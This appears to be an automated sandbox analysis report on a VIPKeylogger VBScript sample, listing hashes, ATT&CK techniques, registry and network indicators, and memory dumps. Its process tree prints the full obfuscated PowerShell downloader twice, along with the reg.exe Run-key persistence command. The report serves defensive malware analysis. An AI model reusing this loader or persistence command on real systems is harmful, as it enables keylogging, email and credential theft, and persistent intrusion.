vipkeylogger | 4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e

General

Target

4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e.vbs
Size

66KB
MD5

0413291a862dec930cbeacabe1f57e8c
SHA1

264609925d33aa4a99dbf0246f0fd8680f94a8c7
SHA256

4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e
SHA512

9595f534d657f39fd08df644bff62cb28d2eca57c17279e8df28f21a0fb094658cfebb2b3b5f83c060e7e80444d111e2938b907f42cffc807afcb73f291ca3cf
SSDEEP

1536:apfuabI6RmNplnvrfKpI2ItF/6RH5UUYfD2:aW6RmVnTipgCRZSC

Score

10^/10

vipkeylogger collection discovery execution keylogger persistence stealer

Malware Config

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 6 IoCs

flow	pid	Process
33	3300	powershell.exe
65	1540	msiexec.exe
67	1540	msiexec.exe
75	1540	msiexec.exe
77	1540	msiexec.exe
81	1540	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\neutronbombers = "%Saalskaaneres% -windowstyle 1 $Timbrel209=(gi 'HKCU:\\Software\\Dietary157\\').GetValue('Nitrile');%Saalskaaneres% ($Timbrel209)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3300	powershell.exe
4480	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
74	checkip.dyndns.org
76	reallyfreegeoip.org
77	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1540	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4480	powershell.exe
1540	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3300	powershell.exe
3300	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
1540	msiexec.exe
1540	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4480	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1540	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 3300	4348	WScript.exe	93
PID 4348 wrote to memory of 3300	4348	WScript.exe	93
PID 4480 wrote to memory of 1540	4480	powershell.exe	112
PID 4480 wrote to memory of 1540	4480	powershell.exe	112
PID 4480 wrote to memory of 1540	4480	powershell.exe	112
PID 4480 wrote to memory of 1540	4480	powershell.exe	112
PID 1540 wrote to memory of 4672	1540	msiexec.exe	113
PID 1540 wrote to memory of 4672	1540	msiexec.exe	113
PID 1540 wrote to memory of 4672	1540	msiexec.exe	113
PID 4672 wrote to memory of 3352	4672	cmd.exe	115
PID 4672 wrote to memory of 3352	4672	cmd.exe	115
PID 4672 wrote to memory of 3352	4672	cmd.exe	115

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Monteverdi;function Haskwort($Fatshedera){ .($Scrofulorachitic89) ($Fatshedera)} function Trompetsneglenes($Blegsotigt){$furnishing=4;do{$Habilitetsgrunde+=$Blegsotigt[$furnishing];Format-List;$furnishing+=5} until(!$Blegsotigt[$furnishing])$Habilitetsgrunde}$Renvaskedes=Trompetsneglenes ' PicNOr,rENonht Med.Fa tw';$Renvaskedes+=Trompetsneglenes 'Jew eB edB tencDimoL ReiISkatESnipn agT';$sekarrenes=Trompetsneglenes 'DemeMVognoRakezAs,aiBrealKinelmulta Til/';$Flokinstinktet205=Trompetsneglenes ' G rT VejlFra sTolv1Pro.2';$Zoblers=' tnk[DdlkNS niEGramT,ake.Indissupee L,bR TolvDydsiR.mpCVisce cafpSperOVir IRustNAf,rtDan.mCuraAJazznHuncAPh tgFathe BybrSkr.].ele:Opiu:Engas ebEDimmc OliUForprFritId plt O ey FacP VinrStavo R pTByploConcCTendOCyprLErem=Fu d$NunaFTentlBackoAfmikHy eIPreoN e iSStattGodeIJ ednS.gnk BintBlueEBergTSild2Uafv0Vapo5';$sekarrenes+=Trompetsneglenes 'ev l5knip.Arbe0Pro .ina(TumuWToadi.ustnMilldEn,roOpnaw N ks en SinuNEddeTFire m.l1over0Fart. Ba 0 hy ;Numa PemoW amiNo snPhag6S bb4P ss;Enc Mi.xBest6 Unm4Flie;Mods nonfrPr cvInit:Teat1 Tho3Endo4Dige.Plas0 For)Dybl LeveGLunge ,decPantkReplo .io/ Sal2,edn0 ind1,ira0Subm0Gryd1Saer0 Spr1Apl ,ilFGokaiadvirFabreFrysfArmnoArn xBunn/Dump1Uns 3Styr4H ve. ort0';$Supersensitiveness=Trompetsneglenes 'F ruUchocs Sa e SedrSwan-FairA CilG ltrE ndenDataT';$Prges=Trompetsneglenes ' rieh scht ost fa pSolbsNedg:G im/Rean/VitrcSundaYaoufdetefSjlde UdtcIsochGruniGeniaForbnR mo.vaskcBorgo vermSams/SmoeiForgnVeruvTrip/MillO.echpV,sirTrepeBiditLasttampue rtilSequs uoye ProsSh caVacafSavegPiq iBasifRatitParfsBall.T ermArtusconti';$Playpen=Trompetsneglenes ' Rho>';$Scrofulorachitic89=Trompetsneglenes ' C oIDecae ketx';$Malvales='Vakkelvornes';$Sulpician='\Impropriator.fem';Haskwort (Trompetsneglenes 'Fors$Ju,dGSpejLSulloDet.BAutoACitrl Frk: E.uS BarYAksesAnthTSupee .vamCh rTIta,iRetop.nprn sm i.hecnBlokGBroc=Lage$LuciEFreqn ikv Tan: zigaShriP alopJourDTongASlictUdtnASymb+Quak$OrigSPreauI niLSupepAfseiPeteCChubiMunja Ly,N');Haskwort (Trompetsneglenes 'Paro$BalggSu cL.ikroUgerbL,sea Bemlloft:DellSProou oloB Su.M FreioverN T ri moSSliptPalprReguA PosNMyxoTFrim=Coun$DisopLimarcav,GForheSuveSFlle.Cl nSFal PPreplAal iHo dtopti(Tota$kamspMisclDegeA,ndeYSeptPFa iEpartNSpec)');Haskwort (Trompetsneglenes $Zoblers);$Prges=$Subministrant[0];$neons=(Trompetsneglenes 'Rest$Dep.Gc.sulBri OPassbInc AUnlelUn l:Sv,rAHaugE OpsS alaOOverN Tra=fixtNCro.eLgs WHort-T.skOPudsbBialj Ov E recThertK ll EyepsC.lcyPe,nSDwintCinneH lvm Rke.Orga$ ,egrWh.oeTilbNToxiv Sika So sMar kCo rEIsopd,ungE K ns');Haskwort ($neons);Haskwort (Trompetsneglenes 'A us$ForbANordetur sSlagoErucnHyle.CistH BoueStama,utsdEthne rofrJek sex t[ Ext$FormSNr suPalgpM,leeDrogrSubcsOmheeS ornLamps F.ri anntPseuiomravFil eUnban VejeU sts tyrsBez ]Bro =Feck$IncesCrageMah kKortaAllorEccarRu.oe.etanSkateShees');$Klubvrelse=Trompetsneglenes 'skel$ StaA AanefippsMotho.licnb ot.SkumD.utoo olw NepnUd,olfo,toUdf a AssdNoneFStori DoblR,pueKim,(Hind$SphaPAligrKunsgVi.ieMukks tre,Kass$OrdnFAktioUde rSpromU ria Pa,n NaudjimbsBun ptolvo RemsFordtshraeOrchr TrinSp re GansSa d)';$Formandsposternes=$Systemtipning;Haskwort (Trompetsneglenes 'Told$MetaGFimbLGad OUretB Beba llalBear:M ltiUpr N UovNBog uWarrMAvlieLe tR HusA InvB,ngrLHerdeCannnKasseSu,dsHamsS epu= il( CittRet,ElambsEksht Mul-bhojPanstANegetDow hTal For$T doFH reOTontrPol MUnvea SekNStoldH drsFlyvPFileO HybsS.imTTurreClamrSp rn MereOmveSLyss)');while (!$Innumerableness) {Haskwort (Trompetsneglenes 'Fina$CystgAnt lSu roJuleb,onia nprlJord:ElfeV verrDisadRougiD,sagkla.hBen,e.ofudPen.s StikPrebr DaraC.nsvP mpe NivnDer,eKl.i=garn$ShoaTFordo UmemOpsie,atcnCi.ctBjniu ntm') ;Haskwort $Klubvrelse;Haskwort (Trompetsneglenes 'Utro[AlmetEgochLetur biseVariACzarD ensISideNPostGHarm.IntetC.udHIndvrspekeSysta GruDSrge] Cob:,ona:RetrsSamslSak eP efethroPpoin( Rep4Grut0La d0 ard0Tr m)');Haskwort (Trompetsneglenes ' dle$DingGGra LBr,nO otoBSta aL,nilDemo:RangIkrllNBen,NC luuI famMusneBulbr HomAPignbEuphLLongElighnKiloekamuS iagSC ll=h lp(Klant StrE,ympsBevitAbor- SlepIdepaD sttCenthPla Mill$PhagfRaavO,arcrPianmRemaaFeriNG updSigmsNorepGua oBaths Foat M nE g.dR Tr NThy EHyp sCata)') ;Haskwort (Trompetsneglenes 'grsr$OvergC,wplFlleoTenaBA skaStaklLi t:Ko.dBSpleEBr.dsCo.gt.imiI A,oAGunpR blai SprA VilNLon = Dam$ HjeGS urlAnapot ndBLensaSlmmL Tff:SimpC.chlhCa pAOve uOkseFProcE errRImp sOnag+ Mis+I.on%,isp$Ur aSKanaU erbF.rsmTriaiindsNPenii a esBesmtNyskrA teAme,vNS,rkTDec,.R,accBeatOP niuFor,nMainT') ;$Prges=$Subministrant[$Bestiarian]}$Suctions=288784;$Skies=31348;Haskwort (Trompetsneglenes ' old$ Selg Moul obsorestBLektaMaa lCard:PossK BiraRea.TJ,gtAOrcinstrikMackeSildRSkra K lb= rs F.bGRanseHurtTBade-amblc hinoMidnn .arTVrlee EgeNGa,ntTose Sk a$ KonF TupobultRdireMForla RegnPozzd rotSL gppNilgOKands C.ptKrakE nybRFilmnFenaEFireS');Haskwort (Trompetsneglenes ' Tor$RickgPrmilGuldo aelbSojaaAktil Mal:hersHBegoeTalaiPh tdUdlgiNajeeTe n past=Demo Teks[ SkaS Runy TeksEd atRebbe npmUnpu.Gi sC JuroSeptnB.ndvCo teMi prMisetStat] ,et:Anbe:AntiFtierrFrouo LavmInduB .ndaUdrasClifec ll6 ros4PunkSRaa tPictr OveiR,ddnS eagSjle(Clea$LivsK T.raK llt,esoamonenTelekPapaeDemor agl)');Haskwort (Trompetsneglenes 'Hemo$DoceG PhyLSv joStembAbomAsmr lPlai:L,sbFHavfi ataBSynsE arorUnshSVegeP uftrKi lNArkeGUnpeNSt rI,awmN V.ggHa dEPearNFor.sKano Rein=Land Nyh [ Trasminky .tasRedntBaadESmaaMBek,.LipoTD plE parxStuetSid .Obj.EB,rgNSlagC avOSakrd e gIE.ecN BargPens] Ha :Fdre:So aA U.hSBu,gcFreeICakrI,tay.In dGZoneEAp oTLedsSPlimT estrGlosiImpaNAcriGSvbe(baga$Hed hSivnETro iMonodViviiLedse L.t)');Haskwort (Trompetsneglenes 'Doug$ TeogHjmoLSt gORbarBGrapa nesL cu : ,liB.seuR blO Fi WP umSFr ktTere=Plet$Aggrf SeriBi lBHun eBin R MedSNeofpImp R HolNFallg eodnSc eI binNGen gAuxeEAarrNstiksSkif.DonkS Bo.U DikBNon Svandt AsmrNemmiAlmenHaecGSkft( ali$skufSBlotu BjecUofftLiceiFjerO ,unNethisMuss,Hjti$Jenas,araKVen iUnfaeFlkksLand)');Haskwort $browst;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Monteverdi;function Haskwort($Fatshedera){ .($Scrofulorachitic89) ($Fatshedera)} function Trompetsneglenes($Blegsotigt){$furnishing=4;do{$Habilitetsgrunde+=$Blegsotigt[$furnishing];Format-List;$furnishing+=5} until(!$Blegsotigt[$furnishing])$Habilitetsgrunde}$Renvaskedes=Trompetsneglenes ' PicNOr,rENonht Med.Fa tw';$Renvaskedes+=Trompetsneglenes 'Jew eB edB tencDimoL ReiISkatESnipn agT';$sekarrenes=Trompetsneglenes 'DemeMVognoRakezAs,aiBrealKinelmulta Til/';$Flokinstinktet205=Trompetsneglenes ' G rT VejlFra sTolv1Pro.2';$Zoblers=' tnk[DdlkNS niEGramT,ake.Indissupee L,bR TolvDydsiR.mpCVisce cafpSperOVir IRustNAf,rtDan.mCuraAJazznHuncAPh tgFathe BybrSkr.].ele:Opiu:Engas ebEDimmc OliUForprFritId plt O ey FacP VinrStavo R pTByploConcCTendOCyprLErem=Fu d$NunaFTentlBackoAfmikHy eIPreoN e iSStattGodeIJ ednS.gnk BintBlueEBergTSild2Uafv0Vapo5';$sekarrenes+=Trompetsneglenes 'ev l5knip.Arbe0Pro .ina(TumuWToadi.ustnMilldEn,roOpnaw N ks en SinuNEddeTFire m.l1over0Fart. Ba 0 hy ;Numa PemoW amiNo snPhag6S bb4P ss;Enc Mi.xBest6 Unm4Flie;Mods nonfrPr cvInit:Teat1 Tho3Endo4Dige.Plas0 For)Dybl LeveGLunge ,decPantkReplo .io/ Sal2,edn0 ind1,ira0Subm0Gryd1Saer0 Spr1Apl ,ilFGokaiadvirFabreFrysfArmnoArn xBunn/Dump1Uns 3Styr4H ve. ort0';$Supersensitiveness=Trompetsneglenes 'F ruUchocs Sa e SedrSwan-FairA CilG ltrE ndenDataT';$Prges=Trompetsneglenes ' rieh scht ost fa pSolbsNedg:G im/Rean/VitrcSundaYaoufdetefSjlde UdtcIsochGruniGeniaForbnR mo.vaskcBorgo vermSams/SmoeiForgnVeruvTrip/MillO.echpV,sirTrepeBiditLasttampue rtilSequs uoye ProsSh caVacafSavegPiq iBasifRatitParfsBall.T ermArtusconti';$Playpen=Trompetsneglenes ' Rho>';$Scrofulorachitic89=Trompetsneglenes ' C oIDecae ketx';$Malvales='Vakkelvornes';$Sulpician='\Impropriator.fem';Haskwort (Trompetsneglenes 'Fors$Ju,dGSpejLSulloDet.BAutoACitrl Frk: E.uS BarYAksesAnthTSupee .vamCh rTIta,iRetop.nprn sm i.hecnBlokGBroc=Lage$LuciEFreqn ikv Tan: zigaShriP alopJourDTongASlictUdtnASymb+Quak$OrigSPreauI niLSupepAfseiPeteCChubiMunja Ly,N');Haskwort (Trompetsneglenes 'Paro$BalggSu cL.ikroUgerbL,sea Bemlloft:DellSProou oloB Su.M FreioverN T ri moSSliptPalprReguA PosNMyxoTFrim=Coun$DisopLimarcav,GForheSuveSFlle.Cl nSFal PPreplAal iHo dtopti(Tota$kamspMisclDegeA,ndeYSeptPFa iEpartNSpec)');Haskwort (Trompetsneglenes $Zoblers);$Prges=$Subministrant[0];$neons=(Trompetsneglenes 'Rest$Dep.Gc.sulBri OPassbInc AUnlelUn l:Sv,rAHaugE OpsS alaOOverN Tra=fixtNCro.eLgs WHort-T.skOPudsbBialj Ov E recThertK ll EyepsC.lcyPe,nSDwintCinneH lvm Rke.Orga$ ,egrWh.oeTilbNToxiv Sika So sMar kCo rEIsopd,ungE K ns');Haskwort ($neons);Haskwort (Trompetsneglenes 'A us$ForbANordetur sSlagoErucnHyle.CistH BoueStama,utsdEthne rofrJek sex t[ Ext$FormSNr suPalgpM,leeDrogrSubcsOmheeS ornLamps F.ri anntPseuiomravFil eUnban VejeU sts tyrsBez ]Bro =Feck$IncesCrageMah kKortaAllorEccarRu.oe.etanSkateShees');$Klubvrelse=Trompetsneglenes 'skel$ StaA AanefippsMotho.licnb ot.SkumD.utoo olw NepnUd,olfo,toUdf a AssdNoneFStori DoblR,pueKim,(Hind$SphaPAligrKunsgVi.ieMukks tre,Kass$OrdnFAktioUde rSpromU ria Pa,n NaudjimbsBun ptolvo RemsFordtshraeOrchr TrinSp re GansSa d)';$Formandsposternes=$Systemtipning;Haskwort (Trompetsneglenes 'Told$MetaGFimbLGad OUretB Beba llalBear:M ltiUpr N UovNBog uWarrMAvlieLe tR HusA InvB,ngrLHerdeCannnKasseSu,dsHamsS epu= il( CittRet,ElambsEksht Mul-bhojPanstANegetDow hTal For$T doFH reOTontrPol MUnvea SekNStoldH drsFlyvPFileO HybsS.imTTurreClamrSp rn MereOmveSLyss)');while (!$Innumerableness) {Haskwort (Trompetsneglenes 'Fina$CystgAnt lSu roJuleb,onia nprlJord:ElfeV verrDisadRougiD,sagkla.hBen,e.ofudPen.s StikPrebr DaraC.nsvP mpe NivnDer,eKl.i=garn$ShoaTFordo UmemOpsie,atcnCi.ctBjniu ntm') ;Haskwort $Klubvrelse;Haskwort (Trompetsneglenes 'Utro[AlmetEgochLetur biseVariACzarD ensISideNPostGHarm.IntetC.udHIndvrspekeSysta GruDSrge] Cob:,ona:RetrsSamslSak eP efethroPpoin( Rep4Grut0La d0 ard0Tr m)');Haskwort (Trompetsneglenes ' dle$DingGGra LBr,nO otoBSta aL,nilDemo:RangIkrllNBen,NC luuI famMusneBulbr HomAPignbEuphLLongElighnKiloekamuS iagSC ll=h lp(Klant StrE,ympsBevitAbor- SlepIdepaD sttCenthPla Mill$PhagfRaavO,arcrPianmRemaaFeriNG updSigmsNorepGua oBaths Foat M nE g.dR Tr NThy EHyp sCata)') ;Haskwort (Trompetsneglenes 'grsr$OvergC,wplFlleoTenaBA skaStaklLi t:Ko.dBSpleEBr.dsCo.gt.imiI A,oAGunpR blai SprA VilNLon = Dam$ HjeGS urlAnapot ndBLensaSlmmL Tff:SimpC.chlhCa pAOve uOkseFProcE errRImp sOnag+ Mis+I.on%,isp$Ur aSKanaU erbF.rsmTriaiindsNPenii a esBesmtNyskrA teAme,vNS,rkTDec,.R,accBeatOP niuFor,nMainT') ;$Prges=$Subministrant[$Bestiarian]}$Suctions=288784;$Skies=31348;Haskwort (Trompetsneglenes ' old$ Selg Moul obsorestBLektaMaa lCard:PossK BiraRea.TJ,gtAOrcinstrikMackeSildRSkra K lb= rs F.bGRanseHurtTBade-amblc hinoMidnn .arTVrlee EgeNGa,ntTose Sk a$ KonF TupobultRdireMForla RegnPozzd rotSL gppNilgOKands C.ptKrakE nybRFilmnFenaEFireS');Haskwort (Trompetsneglenes ' Tor$RickgPrmilGuldo aelbSojaaAktil Mal:hersHBegoeTalaiPh tdUdlgiNajeeTe n past=Demo Teks[ SkaS Runy TeksEd atRebbe npmUnpu.Gi sC JuroSeptnB.ndvCo teMi prMisetStat] ,et:Anbe:AntiFtierrFrouo LavmInduB .ndaUdrasClifec ll6 ros4PunkSRaa tPictr OveiR,ddnS eagSjle(Clea$LivsK T.raK llt,esoamonenTelekPapaeDemor agl)');Haskwort (Trompetsneglenes 'Hemo$DoceG PhyLSv joStembAbomAsmr lPlai:L,sbFHavfi ataBSynsE arorUnshSVegeP uftrKi lNArkeGUnpeNSt rI,awmN V.ggHa dEPearNFor.sKano Rein=Land Nyh [ Trasminky .tasRedntBaadESmaaMBek,.LipoTD plE parxStuetSid .Obj.EB,rgNSlagC avOSakrd e gIE.ecN BargPens] Ha :Fdre:So aA U.hSBu,gcFreeICakrI,tay.In dGZoneEAp oTLedsSPlimT estrGlosiImpaNAcriGSvbe(baga$Hed hSivnETro iMonodViviiLedse L.t)');Haskwort (Trompetsneglenes 'Doug$ TeogHjmoLSt gORbarBGrapa nesL cu : ,liB.seuR blO Fi WP umSFr ktTere=Plet$Aggrf SeriBi lBHun eBin R MedSNeofpImp R HolNFallg eodnSc eI binNGen gAuxeEAarrNstiksSkif.DonkS Bo.U DikBNon Svandt AsmrNemmiAlmenHaecGSkft( ali$skufSBlotu BjecUofftLiceiFjerO ,unNethisMuss,Hjti$Jenas,araKVen iUnfaeFlkksLand)');Haskwort $browst;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:1540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neutronbombers" /t REG_EXPAND_SZ /d "%Saalskaaneres% -windowstyle 1 $Timbrel209=(gi 'HKCU:\Software\Dietary157\').GetValue('Nitrile');%Saalskaaneres% ($Timbrel209)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4672
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neutronbombers" /t REG_EXPAND_SZ /d "%Saalskaaneres% -windowstyle 1 $Timbrel209=(gi 'HKCU:\Software\Dietary157\').GetValue('Nitrile');%Saalskaaneres% ($Timbrel209)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b8a507ea87f4db23962b175b90889f86

SHA1
d7957c02ed987bbf866c98e4491a926b5453c58d

SHA256
291a53a8822be2c1b654a400ccd6fbbbf90712d4eb2078ccd2d10824d4de4e2b

SHA512
23c6774e1c2bb07e9eb814b60b040ebaea933bc664b9eebfa741495e89a8568ff86653b4efa58595fa94f7aff0216d132db96a871ca78600fea3e5c08b9d2bea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ts5md4ji.sir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Impropriator.fem

Filesize
416KB

MD5
69744afe5ed7766eb2c8408b43c5be6f

SHA1
a1df119996f05a9d3aeafb35a8793c2ee6c2d967

SHA256
7228e757b1852f34d6e3bdaf3c6de05abad4e2fab4bc4f9c37ec70a46e917c6c

SHA512
7ff94ee1fa4d479ce73c8369583089b03cd5a4b9e479c2f06df129e171343c80c86ff4c003ddb49286445993bd3ddb1d20601cb7da1aa670d95a35fa1be9e60f

Download Submit
memory/1540-59-0x0000000026670000-0x0000000026702000-memory.dmp

Filesize
584KB

Download
memory/1540-56-0x0000000025F40000-0x0000000025F90000-memory.dmp

Filesize
320KB

Download
memory/1540-50-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/1540-52-0x0000000000A00000-0x0000000000A4A000-memory.dmp

Filesize
296KB

Download
memory/1540-51-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/1540-53-0x0000000025AC0000-0x0000000025B5C000-memory.dmp

Filesize
624KB

Download
memory/1540-60-0x0000000026630000-0x000000002663A000-memory.dmp

Filesize
40KB

Download
memory/1540-55-0x0000000026750000-0x0000000026912000-memory.dmp

Filesize
1.8MB

Download
memory/1540-57-0x0000000026E50000-0x000000002737C000-memory.dmp

Filesize
5.2MB

Download
memory/3300-20-0x00007FFA14BC0000-0x00007FFA15681000-memory.dmp

Filesize
10.8MB

Download
memory/3300-11-0x00007FFA14BC0000-0x00007FFA15681000-memory.dmp

Filesize
10.8MB

Download
memory/3300-12-0x00007FFA14BC0000-0x00007FFA15681000-memory.dmp

Filesize
10.8MB

Download
memory/3300-8-0x00000229CB3D0000-0x00000229CB3F2000-memory.dmp

Filesize
136KB

Download
memory/3300-0-0x00007FFA14BC3000-0x00007FFA14BC5000-memory.dmp

Filesize
8KB

Download
memory/3300-17-0x00007FFA14BC0000-0x00007FFA15681000-memory.dmp

Filesize
10.8MB

Download
memory/3300-14-0x00007FFA14BC0000-0x00007FFA15681000-memory.dmp

Filesize
10.8MB

Download
memory/3300-13-0x00007FFA14BC3000-0x00007FFA14BC5000-memory.dmp

Filesize
8KB

Download
memory/4480-37-0x0000000005F90000-0x0000000005FAE000-memory.dmp

Filesize
120KB

Download
memory/4480-42-0x0000000006FC0000-0x0000000006FE2000-memory.dmp

Filesize
136KB

Download
memory/4480-43-0x00000000082F0000-0x0000000008894000-memory.dmp

Filesize
5.6MB

Download
memory/4480-41-0x0000000007240000-0x00000000072D6000-memory.dmp

Filesize
600KB

Download
memory/4480-45-0x00000000088A0000-0x000000000E558000-memory.dmp

Filesize
92.7MB

Download
memory/4480-40-0x00000000064D0000-0x00000000064EA000-memory.dmp

Filesize
104KB

Download
memory/4480-39-0x00000000076C0000-0x0000000007D3A000-memory.dmp

Filesize
6.5MB

Download
memory/4480-38-0x0000000005FD0000-0x000000000601C000-memory.dmp

Filesize
304KB

Download
memory/4480-35-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

Filesize
3.3MB

Download
memory/4480-25-0x0000000005930000-0x0000000005996000-memory.dmp

Filesize
408KB

Download
memory/4480-24-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/4480-23-0x00000000056F0000-0x0000000005712000-memory.dmp

Filesize
136KB

Download
memory/4480-22-0x0000000005080000-0x00000000056A8000-memory.dmp

Filesize
6.2MB

Download
memory/4480-21-0x0000000004A10000-0x0000000004A46000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads